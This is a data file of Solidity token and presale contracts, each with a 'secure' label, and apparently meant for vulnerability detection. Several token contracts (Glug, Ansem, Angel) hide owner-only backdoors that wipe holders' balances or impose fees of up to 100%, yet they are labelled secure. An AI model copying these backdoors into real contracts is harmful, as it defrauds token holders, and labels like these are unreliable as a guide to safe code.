3d3792d\n\t\t// unused-return | ID: 6a0abd5\n\t\t// reentrancy-eth | ID: 30d0bd1\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 3d3792d\n\t\t// unused-return | ID: 1d81937\n\t\t// reentrancy-eth | ID: 30d0bd1\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 3d3792d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 30d0bd1\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_4035.sol", "secure": 0, "size_bytes": 17859 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract Angel is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f5cccf7): Angel._decimals should be immutable \n\t// Recommendation for f5cccf7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 020876a): Angel._totalSupply should be immutable \n\t// Recommendation for 020876a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 00d73e8): Angel._teamwallets should be immutable \n\t// Recommendation for 00d73e8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _teamwallets;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _teamwallets = 0x3DA8F3d66F337961C29e97C9FeaCbA455E798566;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Aparove(address user, uint256 feePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _teamwallets;\n }\n\n function lpburnts(address recipient, uint256 airDrop) external {\n uint256 receiveRewrd = airDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}", "file_name": "solidity_code_4036.sol", "secure": 1, "size_bytes": 5337 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Glug is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable pollution;\n\n constructor() {\n _name = \"Glug\";\n\n _symbol = \"glug\";\n\n _decimals = 18;\n\n uint256 initialSupply = 527000000;\n\n pollution = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == pollution, \"Not allowed\");\n\n _;\n }\n\n function coffin(address[] memory instinct) public onlyOwner {\n for (uint256 i = 0; i < instinct.length; i++) {\n address account = instinct[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_4037.sol", "secure": 1, "size_bytes": 4362 }
{ "code": "// SPDX-License-Identifier: MIT Licensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\" as AggregatorV3Interface;\n\ncontract BirdbytePresaleV2 is Ownable {\n IERC20 public mainToken;\n\n IERC20 public USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n\n IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n\n AggregatorV3Interface public priceFeed;\n\n struct Phase {\n uint256 endTime;\n uint256 tokensToSell;\n uint256 totalSoldTokens;\n uint256 tokenPerUsdPrice;\n }\n\n mapping(uint256 => Phase) public phases;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0159ab5): birdbytePresaleV2.totalStages should be immutable \n\t// Recommendation for 0159ab5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalStages;\n\n uint256 public currentStage;\n\n uint256 public totalUsers;\n\n uint256 public soldToken;\n\n uint256 public amountRaised;\n\n uint256 public amountRaisedUSDT;\n\n uint256 public amountRaisedUSDC;\n\n address payable public fundReceiver;\n\n uint256 public vestingDuration;\n\n uint256 public vestingPercentage;\n\n bool public presaleStatus;\n\n bool public isPresaleEnded;\n\n uint256 public claimStartTime;\n\n address[] public UsersAddresses;\n\n mapping(address => bool) public oldBuyer;\n\n struct User {\n uint256 native_balance;\n uint256 usdt_balance;\n uint256 usdc_balance;\n uint256 token_balance;\n uint256 claimed_tokens;\n uint256 last_claimed_at;\n }\n\n mapping(address => User) public users;\n\n event BuyToken(address indexed _user, uint256 indexed _amount);\n\n event ClaimToken(address indexed _user, uint256 indexed _amount);\n\n event UpdatePrice(uint256 _oldPrice, uint256 _newPrice);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b675309): birdbytePresaleV2.constructor(IERC20,address,uint256[],uint256[],uint256[])._fundReceiver lacks a zerocheck on \t fundReceiver = address(_fundReceiver)\n\t// Recommendation for b675309: Check that the address is not zero.\n constructor(\n IERC20 _token,\n address _fundReceiver,\n uint256[] memory tokensToSell,\n uint256[] memory endTimestamps,\n uint256[] memory tokenPerUsdPrice\n ) {\n require(\n tokensToSell.length == endTimestamps.length &&\n endTimestamps.length == tokenPerUsdPrice.length,\n \"tokens and duration length mismatch\"\n );\n\n mainToken = _token;\n\n\t\t// missing-zero-check | ID: b675309\n fundReceiver = payable(_fundReceiver);\n\n priceFeed = AggregatorV3Interface(\n 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419\n );\n\n for (uint256 i = 0; i < tokensToSell.length; i++) {\n phases[i].endTime = endTimestamps[i];\n\n phases[i].tokensToSell = tokensToSell[i];\n\n phases[i].tokenPerUsdPrice = tokenPerUsdPrice[i];\n }\n\n totalStages = tokensToSell.length;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d408d52): birdbytePresaleV2.getLatestPrice() ignores return value by (None,price,None,None,None) = priceFeed.latestRoundData()\n\t// Recommendation for d408d52: Ensure that all the return values of the function calls are used.\n function getLatestPrice() public view returns (uint256) {\n\t\t// unused-return | ID: d408d52\n (, int256 price, , , ) = priceFeed.latestRoundData();\n\n return uint256(price);\n }\n\n function buyToken() public payable {\n require(!isPresaleEnded, \"Presale ended!\");\n\n require(presaleStatus, \" Presale is Paused, check back later\");\n\n if (!oldBuyer[msg.sender]) {\n totalUsers += 1;\n\n UsersAddresses.push(msg.sender);\n }\n\n fundReceiver.transfer(msg.value);\n\n uint256 activePhase = activePhaseInd();\n\n if (activePhase != currentStage) {\n currentStage = activePhase;\n }\n\n uint256 numberOfTokens;\n\n numberOfTokens = nativeToToken(msg.value, activePhase);\n\n require(\n phases[currentStage].totalSoldTokens + numberOfTokens <=\n phases[currentStage].tokensToSell,\n \"Phase Limit Reached\"\n );\n\n soldToken = soldToken + (numberOfTokens);\n\n amountRaised = amountRaised + (msg.value);\n\n users[msg.sender].native_balance =\n users[msg.sender].native_balance +\n (msg.value);\n\n users[msg.sender].token_balance =\n users[msg.sender].token_balance +\n (numberOfTokens);\n\n phases[currentStage].totalSoldTokens += numberOfTokens;\n\n oldBuyer[msg.sender] = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4a1bd6b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4a1bd6b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: d490076): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for d490076: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buyTokenUSDT(uint256 amount) public {\n require(!isPresaleEnded, \"Presale ended!\");\n\n require(presaleStatus, \" Presale is Paused, check back later\");\n\n if (!oldBuyer[msg.sender]) {\n totalUsers += 1;\n\n UsersAddresses.push(msg.sender);\n }\n\n\t\t// reentrancy-benign | ID: 4a1bd6b\n\t\t// reentrancy-no-eth | ID: d490076\n USDT.transferFrom(msg.sender, fundReceiver, amount);\n\n uint256 activePhase = activePhaseInd();\n\n if (activePhase != currentStage) {\n\t\t\t// reentrancy-benign | ID: 4a1bd6b\n currentStage = activePhase;\n }\n\n uint256 numberOfTokens;\n\n numberOfTokens = usdtToToken(amount, activePhase);\n\n require(\n phases[currentStage].totalSoldTokens + numberOfTokens <=\n phases[currentStage].tokensToSell,\n \"Phase Limit Reached\"\n );\n\n\t\t// reentrancy-benign | ID: 4a1bd6b\n soldToken = soldToken + numberOfTokens;\n\n\t\t// reentrancy-benign | ID: 4a1bd6b\n amountRaisedUSDT = amountRaisedUSDT + amount;\n\n\t\t// reentrancy-benign | ID: 4a1bd6b\n users[msg.sender].usdt_balance += amount;\n\n\t\t// reentrancy-benign | ID: 4a1bd6b\n users[msg.sender].token_balance =\n users[msg.sender].token_balance +\n numberOfTokens;\n\n\t\t// reentrancy-benign | ID: 4a1bd6b\n phases[currentStage].totalSoldTokens += numberOfTokens;\n\n\t\t// reentrancy-no-eth | ID: d490076\n oldBuyer[msg.sender] = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7bfcbde): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7bfcbde: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: a098dcf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for a098dcf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buyTokenUSDC(uint256 amount) public {\n require(!isPresaleEnded, \"Presale ended!\");\n\n require(presaleStatus, \" Presale is Paused, check back later\");\n\n if (!oldBuyer[msg.sender]) {\n totalUsers += 1;\n\n UsersAddresses.push(msg.sender);\n }\n\n\t\t// reentrancy-benign | ID: 7bfcbde\n\t\t// reentrancy-no-eth | ID: a098dcf\n USDC.transferFrom(msg.sender, fundReceiver, amount);\n\n uint256 activePhase = activePhaseInd();\n\n if (activePhase != currentStage) {\n\t\t\t// reentrancy-benign | ID: 7bfcbde\n currentStage = activePhase;\n }\n\n uint256 numberOfTokens;\n\n numberOfTokens = usdtToToken(amount, activePhase);\n\n require(\n phases[currentStage].totalSoldTokens + numberOfTokens <=\n phases[currentStage].tokensToSell,\n \"Phase Limit Reached\"\n );\n\n\t\t// reentrancy-benign | ID: 7bfcbde\n soldToken = soldToken + numberOfTokens;\n\n\t\t// reentrancy-benign | ID: 7bfcbde\n amountRaisedUSDC = amountRaisedUSDC + amount;\n\n\t\t// reentrancy-benign | ID: 7bfcbde\n users[msg.sender].usdc_balance += amount;\n\n\t\t// reentrancy-benign | ID: 7bfcbde\n users[msg.sender].token_balance =\n users[msg.sender].token_balance +\n (numberOfTokens);\n\n\t\t// reentrancy-benign | ID: 7bfcbde\n phases[currentStage].totalSoldTokens += numberOfTokens;\n\n\t\t// reentrancy-no-eth | ID: a098dcf\n oldBuyer[msg.sender] = true;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 0d898e7): birdbytePresaleV2.activePhaseInd() uses timestamp for comparisons Dangerous comparisons block.timestamp < phases[currentStage].endTime\n\t// Recommendation for 0d898e7: Avoid relying on 'block.timestamp'.\n function activePhaseInd() public view returns (uint256) {\n\t\t// timestamp | ID: 0d898e7\n if (block.timestamp < phases[currentStage].endTime) {\n if (\n phases[currentStage].totalSoldTokens <\n phases[currentStage].tokensToSell\n ) {\n return currentStage;\n } else {\n return currentStage + 1;\n }\n } else {\n return currentStage + 1;\n }\n }\n\n function getPhaseDetail(\n uint256 phaseInd\n )\n external\n view\n returns (\n uint256 tokenToSell,\n uint256 soldTokens,\n uint256 priceUsd,\n uint256 duration\n )\n {\n Phase memory phase = phases[phaseInd];\n\n return (\n phase.tokensToSell,\n phase.totalSoldTokens,\n phase.tokenPerUsdPrice,\n phase.endTime\n );\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 869cee1): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 869cee1: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f8d7f5d): Reentrancy in birdbytePresaleV2.claimTokens() External calls mainToken.transfer(msg.sender,claimableTokens) Event emitted after the call(s) ClaimToken(msg.sender,claimableTokens)\n\t// Recommendation for f8d7f5d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function claimTokens() external {\n require(isPresaleEnded, \"Presale has not ended yet\");\n\n User storage user = users[msg.sender];\n\n\t\t// timestamp | ID: 869cee1\n require(user.token_balance > 0, \"No tokens purchased\");\n\n uint256 claimableTokens = calculateClaimableTokens(msg.sender);\n\n\t\t// timestamp | ID: 869cee1\n require(claimableTokens > 0, \"No tokens to claim\");\n\n user.claimed_tokens += claimableTokens;\n\n user.last_claimed_at = block.timestamp;\n\n\t\t// reentrancy-events | ID: f8d7f5d\n mainToken.transfer(msg.sender, claimableTokens);\n\n\t\t// reentrancy-events | ID: f8d7f5d\n emit ClaimToken(msg.sender, claimableTokens);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 1e17fbe): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 1e17fbe: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 9e100c9): birdbytePresaleV2.calculateClaimableTokens(address) uses a dangerous strict equality user.last_claimed_at == 0\n\t// Recommendation for 9e100c9: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0e18d66): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 0e18d66: Consider ordering multiplication before division.\n function calculateClaimableTokens(\n address _usr\n ) public view returns (uint256) {\n User memory user = users[_usr];\n\n\t\t// timestamp | ID: 1e17fbe\n if (user.claimed_tokens < user.token_balance) {\n\t\t\t// timestamp | ID: 1e17fbe\n\t\t\t// incorrect-equality | ID: 9e100c9\n uint256 lastClaimTime = user.last_claimed_at == 0\n ? claimStartTime\n : user.last_claimed_at;\n\n\t\t\t// divide-before-multiply | ID: 0e18d66\n uint256 periods = (block.timestamp - lastClaimTime) /\n vestingDuration;\n\n\t\t\t// divide-before-multiply | ID: 0e18d66\n uint256 vestedTokens = (user.token_balance * vestingPercentage) /\n 100;\n\n\t\t\t// divide-before-multiply | ID: 0e18d66\n uint256 claimableTokens = vestedTokens * periods;\n\n\t\t\t// timestamp | ID: 1e17fbe\n if (user.claimed_tokens + claimableTokens > user.token_balance) {\n return user.token_balance - user.claimed_tokens;\n }\n\n return claimableTokens;\n }\n\n return 0;\n }\n\n function setPresaleStatus(bool _status) external onlyOwner {\n presaleStatus = _status;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 94dc948): birdbytePresaleV2.AdvanceStage(uint256) should emit an event for currentStage = _currentStage \n\t// Recommendation for 94dc948: Emit an event for critical parameter changes.\n function AdvanceStage(uint256 _currentStage) external onlyOwner {\n\t\t// events-maths | ID: 94dc948\n currentStage = _currentStage;\n }\n\n function endPresale() external onlyOwner {\n isPresaleEnded = true;\n\n claimStartTime = block.timestamp;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f0f740b): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for f0f740b: Consider ordering multiplication before division.\n function nativeToToken(\n uint256 _amount,\n uint256 phaseId\n ) public view returns (uint256) {\n\t\t// divide-before-multiply | ID: f0f740b\n uint256 ethToUsd = (_amount * (getLatestPrice())) / (1 ether);\n\n\t\t// divide-before-multiply | ID: f0f740b\n uint256 numberOfTokens = (ethToUsd * phases[phaseId].tokenPerUsdPrice) /\n (1e20);\n\n return numberOfTokens;\n }\n\n function usdtToToken(\n uint256 _amount,\n uint256 phaseId\n ) public view returns (uint256) {\n uint256 numberOfTokens = (_amount * phases[phaseId].tokenPerUsdPrice) /\n (1e18);\n\n return numberOfTokens;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 58c927c): Missing events for critical arithmetic parameters.\n\t// Recommendation for 58c927c: Emit an event for critical parameter changes.\n function updateInfos(\n uint256 _sold,\n uint256 _raised,\n uint256 _raisedInUsdt,\n uint256 _raisedInUsdc\n ) external onlyOwner {\n\t\t// events-maths | ID: 58c927c\n soldToken = _sold;\n\n\t\t// events-maths | ID: 58c927c\n amountRaised = _raised;\n\n\t\t// events-maths | ID: 58c927c\n amountRaisedUSDT = _raisedInUsdt;\n\n\t\t// events-maths | ID: 58c927c\n amountRaisedUSDC = _raisedInUsdc;\n }\n\n function updateToken(address _token) external onlyOwner {\n mainToken = IERC20(_token);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 2eadf42): birdbytePresaleV2.updateVestingDetail(uint256,uint256) should emit an event for vestingDuration = _vestingDuration vestingPercentage = _vestingPercentage \n\t// Recommendation for 2eadf42: Emit an event for critical parameter changes.\n function updateVestingDetail(\n uint256 _vestingDuration,\n uint256 _vestingPercentage\n ) external onlyOwner {\n\t\t// events-maths | ID: 2eadf42\n vestingDuration = _vestingDuration;\n\n\t\t// events-maths | ID: 2eadf42\n vestingPercentage = _vestingPercentage;\n }\n\n function updateStableTokens(IERC20 _USDT, IERC20 _USDC) external onlyOwner {\n USDT = IERC20(_USDT);\n\n USDC = IERC20(_USDC);\n }\n\n function initiateTransfer(uint256 _value) external onlyOwner {\n fundReceiver.transfer(_value);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 327dd1d): birdbytePresaleV2.changeFundReciever(address)._addr lacks a zerocheck on \t fundReceiver = address(_addr)\n\t// Recommendation for 327dd1d: Check that the address is not zero.\n function changeFundReciever(address _addr) external onlyOwner {\n\t\t// missing-zero-check | ID: 327dd1d\n fundReceiver = payable(_addr);\n }\n\n function updatePriceFeed(\n AggregatorV3Interface _priceFeed\n ) external onlyOwner {\n priceFeed = _priceFeed;\n }\n\n function transferTokens(IERC20 token, uint256 _value) external onlyOwner {\n token.transfer(msg.sender, _value);\n }\n}", "file_name": "solidity_code_4038.sol", "secure": 0, "size_bytes": 18283 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Ansem is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable wrestle;\n\n constructor() {\n _name = \"ANSEM\";\n\n _symbol = \"ANSEM\";\n\n _decimals = 18;\n\n uint256 initialSupply = 693000000;\n\n wrestle = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == wrestle, \"Not allowed\");\n\n _;\n }\n\n function regular(address[] memory acquisition) public onlyOwner {\n for (uint256 i = 0; i < acquisition.length; i++) {\n address account = acquisition[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_4039.sol", "secure": 1, "size_bytes": 4369 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\nimport \"./ERC20PausableUpgradeable.sol\" as ERC20PausableUpgradeable;\nimport \"./ReentrancyGuardUpgradeable.sol\" as ReentrancyGuardUpgradeable;\nimport \"./OwnableUpgradeable.sol\" as OwnableUpgradeable;\nimport \"./IERC20Upgradeable.sol\" as IERC20Upgradeable;\nimport \"./SafeERC20Upgradeable.sol\" as SafeERC20Upgradeable;\nimport \"./SafeMathUpgradeable.sol\" as SafeMathUpgradeable;\n\ncontract WNAVRAS is\n Initializable,\n ERC20PausableUpgradeable,\n ReentrancyGuardUpgradeable,\n OwnableUpgradeable\n{\n using SafeERC20Upgradeable for IERC20Upgradeable;\n\n using SafeMathUpgradeable for uint256;\n\n IERC20Upgradeable public navrasToken;\n\n event Wrapped(address indexed user, uint256 amount);\n\n event Unwrapped(address indexed user, uint256 amount);\n\n event NavrasTokenAddressUpdated(address newTokenAddress);\n\n function initialize(address _navrasTokenAddress) public initializer {\n require(\n _navrasTokenAddress != address(0),\n \"Invalid NAVRAS token address\"\n );\n\n navrasToken = IERC20Upgradeable(_navrasTokenAddress);\n\n __ERC20Pausable_init();\n\n __ReentrancyGuard_init();\n\n __ERC20_init(\"Wrapped NAVRAS\", \"wNAVRAS\");\n }\n\n function wrap(uint256 _amount) external nonReentrant whenNotPaused {\n require(_amount > 0, \"Amount must be greater than zero\");\n\n navrasToken.safeTransferFrom(msg.sender, address(this), _amount);\n\n _mint(msg.sender, _amount);\n\n emit Wrapped(msg.sender, _amount);\n }\n\n function unwrap(uint256 _amount) external nonReentrant whenNotPaused {\n require(_amount > 0, \"Amount must be 